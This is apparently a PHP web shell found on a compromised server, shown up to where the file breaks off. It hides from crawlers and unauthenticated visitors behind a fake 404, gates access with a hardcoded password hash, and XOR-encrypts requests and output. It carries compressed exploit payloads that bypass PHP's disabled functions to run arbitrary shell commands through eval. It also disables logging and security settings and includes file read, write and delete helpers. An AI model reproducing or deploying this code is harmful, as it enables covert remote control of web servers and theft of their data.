Current File : //tmp/downloaded_file.php |
<?php
$GLOBALS['HASHTYPE'] = 'sha512';
$GLOBALS['PASSHASH'] = 'dfbbeccfdcae9732e3d43697861efbe7bc56ffc746f07c3176a4594fc09977b747997d93cb65fb64ff093bc467e0ab35de3bc761efa29cb29a95c4df38375c26';//P@55w()rD
$GLOBALS['SECHEAD'] = 'USER_AGENT';
$GLOBALS['DEFAULT_TAB'] = 'tabFM';
$GLOBALS['COOKIE'] = true;
$GLOBALS['DARK'] = false;
$GLOBALS['REMOTE_ADDR'] = true;
$GLOBALS['ACECONF'] = array('DEFAULT' => true, 'THEME' => 'crimson_editor', 'MODE' => 'php', 'URL' => 'https://cdnjs.cloudflare.com/ajax/libs/ace/1.14.0/ace.js');
$GLOBALS['DEBUG'] = (isset($GLOBALS['DEBUG']) ? $GLOBALS['DEBUG'] : false);
filterClient();
decodeRequest();
function checkAuth(){
if(!$GLOBALS['PASSHASH']) return setEncKey();
$loginWithPass = (isset($_REQUEST['pass']) && hash($GLOBALS['HASHTYPE'], $_REQUEST['pass']) === $GLOBALS['PASSHASH']);
$encKeyWithPass = ($GLOBALS['ENCKEY'] === genEncKey($GLOBALS['PASSHASH']));
if($loginWithPass)
setEncKey($GLOBALS['PASSHASH']);
elseif($encKeyWithPass)
setEncKey();
else
loginFormOut();
}
function getEncKey(){
$len = $GLOBALS['PRELEN'];
foreach($_REQUEST as $k => &$v){
$pref = strrev(substr($k, 0, $len));#tabFM
$post = substr($k, $len, $len);
if($pref === $post){
$eKey = $v;
unset($_REQUEST[$k]);
$GLOBALS['ENCKEY'] = base64_decode($eKey);
return $GLOBALS['ENCKEY'];
}
}
return false;
}
function genEncKey($str){
return base64_encode(hash($GLOBALS['HASHTYPE'], ($GLOBALS['REMOTE_ADDR'] ? $_SERVER['REMOTE_ADDR'] : '').$str.__FILE__));
}
function setEncKey($pass = ''){
if(!$pass && $GLOBALS['ENCKEY']) return $GLOBALS['ENCKEY'];
$eKey = genEncKey($pass);
$GLOBALS['ENCKEY'] = $eKey;
return $eKey;
}
function mergeRequestVars(){
$vars = array('_FILES','_COOKIE','_REQUEST');
foreach($vars as $var)
if(isset($GLOBALS[$var]))
foreach($GLOBALS[$var] as $k => &$v)
$_REQUEST[$k] = &$GLOBALS[$var][$k];
}
function decodeRequest(){
mergeRequestVars();
$GLOBALS['PRELEN'] = getPreLen();
if(!$GLOBALS['ENCKEY'] = getEncKey()) $GLOBALS['ENCKEY'] = setEncKey();
$_REQUEST = decodeInput($_REQUEST);
}
function getPreLen(){
return (substr(array_sum(str_split(hash($GLOBALS['HASHTYPE'], __FILE__))), -1) + 5);
}
function filterClient(){
$secretHeader = isset($_SERVER['HTTP_'.$GLOBALS['SECHEAD']]);
$crawlerBot = preg_match('/bot|crawl|spider/i', $_SERVER['HTTP_USER_AGENT']);
if($crawlerBot || !$secretHeader) exit(header('HTTP/1.1 404 Not Found'));
}
function loginFormOut(){
$html = '<html><head><meta name="robots" content="noindex"></head><body style="background:#f0f0f0;display:grid;height:100vh;margin:0;place-items:center center;"><form action="" method="POST" onsubmit="return login(this)"><input style="text-align: center" name="pass" type="password" value=""></form></body>'.paramsHandlerJS().'</html>';
exit(makeOut($html));
}
function scriptInit(){
if(!isset($GLOBALS['DEBUG'])) return;
define('D', $GLOBALS['DEBUG']);
set_time_limit(D ? 15 : 0);
error_reporting(D ? E_ALL : 0);
ini_set('display_errors', D ? 'On' : 'Off');
ini_set('max_execution_time', D ? 15 : 0);
ini_set('error_log', NULL);
ini_set('log_errors', 0);
}
function decodeInput(&$arr){
$str = '';
foreach($arr as $k => $v){
$key = getName($k);
if(!strlen($key)) continue;
$str .= $key.'='.urlencode(getValue($v)).'&';
unset($arr[$k]);
}
parse_str($str, $dec);
return array_merge($arr, $dec);
}
function xorStr($str, $decode = false) {
$key = $GLOBALS['ENCKEY'];
$key_len = strlen($key);
$str = (!$decode ? rawurlencode($str) : $str);
for($i = 0; $i < strlen($str); $i++)
$str[$i] = $str[$i] ^ $key[$i % $key_len];
$str = ($decode ? rawurldecode($str) : $str);
return $str;
}
function ascii2hex($ascii) {
$hex = '';
for ($i = 0; $i < strlen($ascii); $i++) {
$byte = strtoupper(dechex(ord($ascii[$i])));
$byte = str_repeat('0', 2 - strlen($byte)).$byte;
$hex.=$byte;
}
return $hex;
}
function hex2ascii($hex){
$ascii='';
$hex=str_replace(" ", "", $hex);
for($i=0; $i<strlen($hex); $i=$i+2)
$ascii.=chr(hexdec(substr($hex, $i, 2)));
return($ascii);
}
function setName($str){
$str = ascii2hex(xorStr($str));
$pref = substr($GLOBALS['ENCKEY'], 0, $GLOBALS['PRELEN']);
return $pref.$str;
}
function getName($str){
$data = getData($str);
if($data === false) return false;
return xorStr(hex2ascii($data), true);
}
function setValue($str){
return base64_encode(xorStr($str));
}
function getValue($str){
return xorStr(base64_decode($str), true);
}
function getData($str){
$ln = $GLOBALS['PRELEN'];
$pref = substr($str, 0, $ln);
$data = substr($str, $ln);
return ($pref === substr($GLOBALS['ENCKEY'], 0, $ln) ? $data : false);
}
function paramsHandlerJS(){
return '<script>
var ENCKEY = atob("'.base64_encode($GLOBALS['ENCKEY']).'");
var PRELEN = '.$GLOBALS['PRELEN'].';
var COOKIE = '.(int)$GLOBALS['COOKIE'].';
'.($GLOBALS['DARK'] ? 'invertColors();' : '').'
startEventsListners();
if(COOKIE){
if(ci = document.getElementById("cbCO"))
ci.checked = "on";
deleteAllCookies();
}
function startEventsListners(){
var elements = document.getElementsByTagName("*");
for(var i=0;i<elements.length;i++){
if(elements[i].type && elements[i].type == "file")
elements[i].onchange = function(e){
if(!elmById("cbRR").checked) prepareFile(this)
else uplFiles();
}
}
}
function bin2hex(bin){
var hex = "";
for(var i = 0; i<bin.length; i++){
var c = bin.charCodeAt(i);
if (c>0xFF) c -= 0x350;
hex += (c.toString(16).length === 1 ? "0" : "") + c.toString(16);
}
return hex;
}
function login(form){
addEncKey(form);
form.pass.value = setValue(form.pass.value);
form.pass.name = setName(form.pass.name);
if(COOKIE)
submitViaCookie(form);
else
return true;
return false;
}
function hex2bin(hex) {
var bin = "";
for (var i=0; i<hex.length; i=i+2) {
var c = parseInt(""+hex[i]+hex[i+1], 16);
if (c>0x7F) c += 0x350;
bin += String.fromCharCode(c);
}
return bin;
}
function xorStr(str, decode = false) {
str = (!decode ? encodeURIComponent(str) : str);
str = str.split("");
key = ENCKEY.split("");
var str_len = str.length;
var key_len = key.length;
var String_fromCharCode = String.fromCharCode;
for(var i = 0; i < str_len; i++) {
str[i] = String_fromCharCode(str[i].charCodeAt(0) ^ key[i % key_len].charCodeAt(0));
}
str = str.join("");
if(decode){
try{
str = decodeURIComponent(str);
}
catch(e){
str = unescape(str);
}
}
return str;
}
function setName(str){
str = bin2hex(xorStr(str));
pref = ENCKEY.substr(0, PRELEN);
return pref + str;
}
function setValue(str){
return btoa(xorStr(str));
}
function getValue(str){
return xorStr(atob(str), true);
}
function addEncKey(form){
var encKey = document.createElement("input");
encKey.type = "hidden";
pref = ENCKEY.substr(0, PRELEN);
encKey.name = pref.split("").reverse().join("") + pref;
encKey.value = btoa(ENCKEY);
form.appendChild(encKey);
return form;
}
function fixFileName(str, len = false){
str = str.split(/(\\\\|\\/)/g).pop();
if(len) str = str.substring(0, len);
return str;
}
function getParentFormOf(element){
while(element.tagName != "FORM")
element = element.parentElement;
return element;
}
function prepareFile(input){
var file = input;
form = getParentFormOf(input);
form.enctype = "application/x-www-form-urlencoded";
if(file.files.length){
var reader = new FileReader();
reader.onload = function(e){
filename = fixFileName(input.value);
wwwFile = document.createElement("input");
wwwFile.type = "hidden";
wwwFile.id = input.name;
wwwFile.name = input.name + "["+filename+"]";
wwwFile.value = e.target.result;
if(e.target.result.length <= 2097152)
form.appendChild(wwwFile);
else
if(confirm("Request size is ~" + Math.round(((e.target.result.length * 2) / 1024) / 1024) + "M, but limits is often around <= 8M. There is no guarantee that the file will be uploaded.\nYou can disable request encoding, use other upload methods or select a smaller file. Continue?"))
form.appendChild(wwwFile);
else
return false;
uplFiles();
elements = form.getElementsByTagName("*");
for(var i = 0; i < elements.length; i++)
if(elements[i].type === "hidden")
form.removeChild(elements[i]);
};
reader.readAsDataURL(file.files[0]);
return reader;
}
}
function deleteAllCookies() {
var cookies = document.cookie.split(";");
for (var i = 0; i < cookies.length; i++) {
var cookie = cookies[i];
var eqPos = cookie.indexOf("=");
var name = eqPos > -1 ? cookie.substr(0, eqPos) : cookie;
document.cookie = name + "=;expires=Thu, 01 Jan 1970 00:00:00 GMT";
}
return false;
}
function submitViaCookie(encodedForm, refresh = true){
var reqlen = 0;
var elements = encodedForm.getElementsByTagName("*");
for(i = 0; i < elements.length; i++) {
if(!elements[i].name) continue;
name = elements[i].name;
value = encodeURIComponent(elements[i].value);
if(value.length > 4095 || reqlen > 7696){
if(confirm("The request header is too big, send it via POST?")){
deleteAllCookies();
return false;
}
else{
deleteAllCookies();
return "CANCEL";
}
}
document.cookie = name + "=" + value;
reqlen = reqlen + name.length + value.length;
}
if(refresh)
window.location = window.location.pathname;
else
return "SEND";
}
function invertColors() {
var css = "html{-webkit-filter: invert(90%); -moz-filter: invert(90%); -o-filter: invert(90%); -ms-filter: invert(90%);}";
var head = document.getElementsByTagName("head")[0];
var style = document.createElement("style");
if(!window.counter)
window.counter = 1;
else{
window.counter++;
if (window.counter % 2 == 0)
var css = "html{-webkit-filter: invert(0%); -moz-filter: invert(0%); -o-filter: invert(0%); -ms-filter: invert(0%);}"
}
style.type = "text/css";
if(style.styleSheet)
style.styleSheet.cssText = css;
else
style.appendChild(document.createTextNode(css));
head.appendChild(style);
return false;
}
</script>';
}
function makeOut($str){
return (c('<script>').t(f('write', 1).'('.f('decodeURIComponent').'('.f('atob').'(('.i(base64_encode(rawurlencode(c($str, 1))), 100, 400).'))));', true).c('</script>'));
}
function f($f, $d = false){
$r = rand(0,1);
return ($r ? (rand(0,1) && !$d ? f('self') : ($r && !$d ? f('top') : f('document'))).'['.i($f, 1, 3).']' : ($d ? f('document').'.'.$f : $f));
}
function i($s, $m, $x){
$s = str_split($s, rand($m, $x));
if($m > 50) $s[0] = trim(i($s[0], 1, 5, true), '"\'');
return implode('+', array_map(function($k){$r = date('H') > 12; return ($r ? '"' : '\'').$k.($r ? '"' : '\'');}, $s));
}
function c($s = '', $n = 0){
$r = array('/', '>', '*');
return (rand($n, 1) ? '<!--'.str_replace($r, '', j(1)).'-->'.(strlen($s) ? $s.(rand(0, 1) ? '<!--'.str_replace($r, '', j(1)).'-->'."\n" : '') : '') : $s);
}
function j($a = 0){
$l = rand(10, 100);
while(!isset($c[$l])) @$c .= chr($a ? rand(32, 126) : rand(1, 127));
if(rand(0, 1))
return "//".str_replace(array("\r","\n"), "", $c)."\n";
else
return "/*".preg_replace("|\*/|","", $c)."*/";
}
function t($s, $n = false){
if(!function_exists('token_get_all')) return $s;
$s = ($n ? '<?php ' : '').$s;
foreach(token_get_all($s) as $t)
@$r .= (is_array($t) ? $t[1] : $t).j();
return ($n ? substr($r, 6) : $r);
}
function sDie($str = ''){
if(RO)
die($str);
else{
$out = ob_get_contents();
ob_end_clean();
}
if(preg_grep('|attachment|', headers_list())) print gzencode($out.$str, 9);
else
print setValue($out.$str);
die;
}
function safemode($cmd = 'check'){
if(!defined('PHP_VERSION_ID')) return false;
$c = __FUNCTION__;
$v = PHP_VERSION_ID;
$pocs['cm_php_fpm'] = array('v' => ((strpos(php_sapi_name(), 'fpm') !== false) && is_int(array_search(true, array_map(function($f){if(function_exists($f)) return true;}, array('mail', 'error_log', 'imap_mail','mb_send_mail'))))), 'r' => 'execFPM($'.$c.')', 'c' =>'eJyNV21T20YQ/kxn+h8ORZmTMopkAyaEhFAGTPBMwK5x0ukkmRtZOmEVWdJIMoG2/Pfu7t35BZu2Mj7f7T63t7valyOZ5VGTFjmT9zI6H1w6djSN3b9+/mnLrmTNjlgSZrV8B2v4SxPHTsopUG9kg2CXkFt2PR2EzQToaZ4K4Dm8lnk8DdNMlMDgLgrYUtDJeZpJgDppLX5UaROOM+lwn7vsmAlx1hsKwQ5Z/VCjINHIaSnitIKjfB5wfxp3nCadSliTTHt6e56FNyAPOVq6T0YQP4GlKGeNiIq8kXlTG4zH+IvtYJzmQT3hvvUtt3z+gnFfC1QUlONz9gHpapuSGk2mRbyQ1HrT6SyZWE5KbaPRh/tA488ppPGg0ftjmLPjD8phJCwqYpTEcbElq6qoRCXLomrS/MZpqVO30O01uN1SgKy4sUCrp0wgCwLUhqv4iZPoKBDyPq1BJaueyCwTGBOW6xLKxMOC41hzr/jc0ocZidtpjWfiJh0kYHpRyTCaOGFVhQ+OheEBiqzobKXTsBSKY03HAsNILV0W1sxGRbU+m/RWfHMe6Ixrp+3BR+sHzxi0uDWrR/p95NoZeB5lAYS5x8azNIsHYXSrop3ehccW78vEhPuOwbO83+THmgzO4TVz3Eop4y6Fjc43jA+M/KcBa97XLM/S/NZZiUdD05oR8VFFUCWbWZUzZ7tuqrKo6Y3A8SrKMefo3EOV57jxEY8xjv3fLmDgc3SCXRIWDGmKGneg861v960WfNv6d+1L0bO83adS0qRhlv4pB2EVTrUwBcNHRdFijQ8fdn/93L0eicvu6KJ/xtkRpO7H7oh7T3DX3eGX7lAMhv1R/7T/SQEvRqNB0Pbba+iPJ6Pubye/i97VqDs8PzntKvzpx95GuBZ+dXKpgVkRhdmkqJs1KB4pLvrXo/8CDruX/VFXnJydDRW0vfPGb8Fnw/Gnw95gJM57n7pzFeYv7Al2cDEAmZe9K/Hl5NNnhf2jSHMHy5+30ce0L8yy4oeYVZlI8yibxfKI+yo4IKJ4P+cQUbyfJNz1NuyO0xqrvjBRVh8hdBOyKGUuxmEtoQU8CwpnTSFKqIpYLDB/VpSJwyY89LgPysociY4us/IuzByUvb8nYkkcqGiaoKEkxcXyBjmOdRntIqOweKx2ueVTTZsDdDCrq6CmRqPR7HXDXqfcXTXFXVrr6YasmGfV3r8xO6pYIFvnv0at5bcpVNTx7yBtMSIgeq97/SusIjZahnVJhQIP7sIqqGZ5AB4MsJaReRS36yxDeAanupx9J6vFAfbd19Z3KCv448PYpnFnEwnH3e9YToNXMHa4xzv+Lo17NCrKPoxv8Ou3aGzTuEPjLo2IPiDuAXEPiHtA3APgvgqUokXZLBRVJOhdeYGNHiZQYLFRc926TbfTHsTuhTOXzRlkONJh4jIS//U7CkOcz/HK4CPP56+hHfl1Ed3yuSKEXFSBw7etVmvtaNIYT4AJtc3FDe4XUFeGU4FSsdtkKTQbh7aAn9k2CA845k8TlYdBQAk9y9N7nLs+wjymzPeM9R5r68uCCTo4SnUtTTCXydUYXG26OlL1zXIiw1jFhz0u4oe5g6llJnCPqp9sI+aPCSSfs53IQtlrrgQ2tEm8TSUQ9mbjXuvtvrkpAVohjpj1rYIS6LKl28JcGUg1whH5UbXl9SO1xv5zxyVRVtRSgbVJJv+N/1DAmrs2NUY7jckFuF6EKJCw+pHTyANLMUlIDI1b+UAdAqrhTGqv0y5QHH3qWKdXlgevF8qng2jXc9rv3++2XfY3M2S1WV/JzW4EP6EQTt9OFmGh6xYZsaeVXr+KLKPs5qGUC/MsSxWw+eWjLqs0bxIHbx7tl9HiQ7cNKt9KBM3SmAVsp7MPAmH6kqZ0m9PWkT4Gskp8DvySHQDR1Ogl3dALCHm3SoPdeK+XYUM6g47OmkBX/1ewuaz/A3c4q58=');
$pocs['mm0r1_filter'] = array('v' => ($v >= 70000 && $v <= 70234 || $v >= 70300 && $v <= 70333 || $v >= 70400 && $v <= 70425 || $v > 80000 && $v < 80013), 'r' => 'pwn($'.$c.')', 'c' => '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');
$pocs['mm0r1_concat'] = array('v' => ($v == 80013 && $v == 80014 || $v > 80100 && $v < 80120), 'r' => 'new Pwn($'.$c.')', 'c' =>'eNqtV1tvo0YUfs+vmFrIgpqswE5tJw6pvE20SS/ZNJc+rGuhMQxrEgzWABtnt/7vPTNcPAwQZ6taijwx53zn/s3BCXAco0sSrAlF39A6XQS+gxSsI2UBf84EbQ8cLnPzHKJvBwg+ThTGCfrl8uH6N/t8ej+1764+XSALGZuhMalJ5A8/XVyf2+cX7x8+2O8frn4/Rz+jmATeyYmM0wOcvoFOmh+L+Hf3t1fXHwoDzWiHgGaO4cucHAiql/c7p01zPJEeNQAXGjXAPGVeGjqJH4XItjkOTZ1EVZyVq+VZYx8voqriM6sTBN+nyOSHXk8UYh/lM42i1WxemsdBEDlqdhbc0yZvV6sGJmhuy1N5UCAGByc2xGFj16UlIPzQXycQRbL048OzJcFrOyD4SdV0ZA4FUMXzg+AN7u8UMkS8cL4jaAXECwdrPvcqPZF1j2zOo4SoJYqIXATIJ8NCIXnOx2Qn43sqGAtIqO6c16Cq0CGDwUiuKSVJSkMx7c3GAAbsdQJCks6kTWQBIkXLqcoGbG1bZR3e5h4hrocdIuYgk7CXOHQDQmOWxEyVksCmBLuqUSmRE0RxSkmZcVkYBrdR3iGiNEhWkdjIm4aQ/B3CAse+Y7NIBe8+k8QWHqiCnYr5r75nxy9xQlZV3ew3VQSv6Hn4CbByzMjzeP5GxqR9jlnFx/zcs9C4Ns27PD1TP4GGq1noga7+aooUX2uc2TeBG5vBGAZUR0dii+d1ZzIxSSCcm8sb+4/prx9v7b8ubu+uPl4jy4J4gKtZ/MDJQPHjyfeZlqzoYlnas150WDnfPdQcFyPvdodYR+oN0EIWVHmytIy23wDbgpiGEGcdNhPIp35N/S84IbtrQ2BSoXsUTFkaZrO5jmbz+c4GWLAJpVE5vGrJBhpKY4LULtPVUVdZpF6tITNYU7o9QJJxL/AnJWuCE7Xz98YwOjrad4FUGJnSmTlH7/aQONygOXd2ppTil47Y3RlVcodez1pO3yz/YtbW+CWIsAvBrLHzpHb+/BGCMDYuzNWCEI+dHeyRBV4QKKPM/IX2u2oupi2J2EVSaGqNVPb/lJJ9FWb+Y1ULfSCE/UXsbDqvl6BkfyUbcNGrvI6NqwNMNuQ+19lvIieYkkS+4CBlxQuRRLjAzahKzkrYsmSVjsxyXE6zbHtyluAnN4G67O705EUre3Z2BsZlUm6PgiWJNVuT2w0cYxp5c2ZLp3hB5vYtVN0/ygVCqywpYO0HK7NXaHYtpJro9BSxh/A10DS+0woXSzGEXOH1ArVdqhUmyxldeL5z0o3k2ng2CRP6Iu8N0qzmoiFe1TaMHEBHQ0meJaRQsfhbizv8aXQ0GoyORwO5R8REyH5At4wl7K00kFzK4m80Qpug56UfkNJFXhxD25/iys4jk16GCe8dpM4LvIf4u45Rz4UcFlsS8sxMx6jbreXDD23MKFttysgRU9drOuwz6xvm2BgNYA2B07FxbPTZqW8YxwODn0z221xrKoKyitw0ILxutf1TsJ/voK+py5oycoM6y1MFIWuco1F/aA6PhmRosgZq8ntPA4G74wZ725auqjBMnOBEfPPMblol9r+SJhKGCyBepp4HXSJfa5lOtQNl9JK+4QAaa0awjUTGIiNxzAm4ujE/ssyHGc/AP2cZRT8eHjZ2LMM4Pa0QbOXZPxaKqMv9mYE7QN2P88YNuUh/rlhEuT34F11ikeU=');
foreach($pocs as $pocname => $poc)
{
if(!$poc['v']) continue;
switch($cmd){
case 'check':
return $pocname;
break;
default:
ob_start();
eval('$'.$c.' = \'(echo "via '.$pocname.':";'.addslashes($cmd).') 2>&1\';echo '.$poc['r'].';'.gzuncompress(base64_decode($poc['c'])));
$res = ob_get_contents();
ob_end_clean();
if(strpos($res, $pocname)) return $res;
}
}
return (isset($res) ? $c.' for '.$v.' fails ;( ' : false);
}
#
#
#
$ini = array(
'disable_classes' => '',
'disable_functions' => '',
'display_errors' => 0,
'enable_post_data_reading' => 1,
'error_log' => '',
'error_reporting' => 0,
'file_uploads' => 1,
'log_errors' => 0,
'log_errors_max_len' => -1,
'magic_quotes_gpc' => 0,
'magic_quotes_runtime' => 0,
'magic_quotes_sybase' => 0,
'max_execution_time' => 0,
'memory_limit' => '1024M',
'open_basedir' => '',
'safe_mode' => 0,
'safe_mode_exec_dir' => '');
$sysini = ini_get_all();
foreach($ini as $k => $v)
if(isset($sysini[$k]) && $sysini[$k]['access'] == 7)
ini_set($k, $v);
scriptInit();
function unQuote($a){
foreach($a as $k => $v)
if(is_array($v))
$a[$k] = unQuote($v);
else
$a[$k] = stripslashes($v);
return $a;
}
function prepVals(&$a,$k){
foreach($a as $i => $v)
if(is_array($v)) prepVals($a[$i],$k);
elseif(strlen($v)>2){
$r = '';
$v = explode($k, $v);
for($n = count($v)-1; $n>=0; --$n){
$c = array_pop($v);
if($c === '')
$c = $k;
if($n%2 === 0)
$r .= $c;
else
$r = $c.$r;
}
$a[$i]=$r;
}
}
if(defined('CED'))
$D = unserialize(pack('H*', CED));
else{
if(isset($_REQUEST['a']))
$D=$_REQUEST;
elseif(isset($_REQUEST['a']))
$D=$_REQUEST;
else
$D=array();
if(function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc())
$D = unQuote($D);
if(isset($D['k'])){
$k = $D['k'];
unset($D['k']);
prepVals($D,$k);
}
}
$C = array(''=>'UTF-8','UTF-16','Windows-1250','Windows-1251','Windows-1252','Windows-1254','Windows-1256','Windows-1257','ISO-8859-1','ISO-8859-2','ISO-8859-7','ISO-8859-8','ISO-8859-9','ISO-8859-13','Big5','GBK','Shift_JIS','EUC-KR','EUC-JP','IBM866','KOI8-R','KOI8-U',);
define('VER', '1.4');
define('DSC', DIRECTORY_SEPARATOR);
define('NIX', DSC === '/');
define('RO', isset($D['ro']) ? true : false);
define('TM', isset($D['tm']) ? true : false);
define('CSE', isset($D['c']) ? $C[$D['c']]:'UTF-8');
ob_end_clean();
if(!RO) ob_start();
if(!defined('CED')){
if(isset($D['a'])){
$md5 = md5(rand(0, 777777));
if(isset($D['d'])){
if($D['a']==='f'){
if(is_array($D['d'])){
$D['DBP'] = samePath($D['d']);
$n = $md5.'.zip';
}
elseif(is_dir($D['d']))
$n = $md5.'.zip';
else
$n = fileName($D['d']);
$n = escFileName($n);
}
else
$n = $md5.'.zip';
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.$n.(RO ? '' : '.gz').'"');
}
else{
header('Content-Type: application/json; charset='.CSE);
}
}
else
header('Content-Type: text/html; charset='.CSE);
}
function escHTML($v){
return str_replace(array('&','"','<','>'), array('&','"','<','>'), $v);
}
function selfPath(){
if(isset($_SERVER['SCRIPT_FILENAME'])) return filePath($_SERVER['SCRIPT_FILENAME']);
if(isset($_SERVER['DOCUMENT_ROOT'])) return substr($_SERVER['DOCUMENT_ROOT'],-1) === DSC ? $_SERVER['DOCUMENT_ROOT'] : $_SERVER['DOCUMENT_ROOT'].DSC;
if(PHP_VERSION >= '5.3') return substr(__DIR__,-1) === DSC ? __DIR__ : __DIR__.DSC;
return filePath(__FILE__);
}
function filePath($p){
$p = rtrim($p, DSC);
return implode(DSC, array_slice(explode(DSC,$p), 0, -1)).DSC;
}
function fileName($p){
$p=rtrim($p, DSC);
$i=strrpos($p, DSC);
return $i=== FALSE ? $p : substr($p,$i+1);
}
function writeFile($p,$c){
if($v = fopen($p,'wb')){
flock($v,LOCK_EX);
fwrite($v,$c);
fflush($v);
flock($v,LOCK_UN);
fclose($v);
return TRUE;
}
if(PHP_VERSION>='5'){
$v = file_put_contents($p,$c);
if(is_int($v)) return TRUE;
}
if(PHP_VERSION>='5') : if(PHP_VERSION>='5.1'){
try{
$v = new SplFileObject($p,'wb');
}
catch(Exception $e ){
$v=FALSE;
}
if($v){
$v->flock(LOCK_EX);
$v->fwrite($c);
$v->fflush();
$v->flock(LOCK_UN);
unset($v);
return TRUE;
}
}
endif;
return FALSE;
}
function tempName(){
$a = 'poiuytrewqlkjhgfdsamnbvcxzMNBVCXZLKJHGFDSAPOIUYTREWQ0987654321';
$v = '.';
for($i = 0; $i < 8; ++$i) $v .= $a[rand(0,61)];
return $v.'.tmp';
}
function tempFile($v){
if(($n = tempnam(NIX ? '/tmp' : 'c:\\Temp', '')) && (writeFile($n, $v))) return $n;
$a = array('upload_tmp_dir','session.save_path','user_dir','doc_root');
foreach($a as $k)
if($n = ini_get($k)){
$n .= DSC.tempName();
if(writeFile($n, $v)) return $n;
}
$n = selfPath().tempName();
if(writeFile($n, $v)) return $n;
return FALSE;
}
function getFile($p){
$v = NULL;
if($v = fopen($p,'rb')){
$r = '';
while(!feof($v)) $r .= fread($v, 1048576);
fclose($v);
return $r;
}
if(PHP_VERSION >= '4.3'){
$v = file_get_contents($p);
if(is_string($v)) return $v;
}
$v = file($p);
if(is_array($v)) return implode('',$v);
if(PHP_VERSION>='5') : if(PHP_VERSION>='5.1'){
try{
$v = new SplFileObject($p,'rb');
}
catch(Exception $e){
$v = FALSE;
}
if($v){
$r = '';
while(!$v->eof()) $r .= $v->fgets();
unset($v);
return$r;
}
}
endif;
if(RO && defined('FORCE_GZIP')){
if($v = gzopen($p)){
$r='';
while(!gzeof($v)) $r .= gzread($v, 1048576);
gzclose($v);
return $r;
}
$v = gzfile($p);
if(is_array($v)) return implode('',$v);
}
if(RO && $v=ob_start()){
if(is_int(readfile($p)) || copy($p, 'php://output') || (defined('FORCE_GZIP') && is_int(readgzfile($p)))){
$r = ob_get_contents();
ob_end_clean();
return $r;
}
ob_end_clean();
}
return FALSE;
}
function delFile($p){
return (unlink($p) || (NIX && rename($p,'/dev/null') && !is_file($p) && !file_exists($p)));
}
function nesc($v){
return "'".str_replace("'", '\'"\'"\'', $v)."'";
}
function wesc($v){
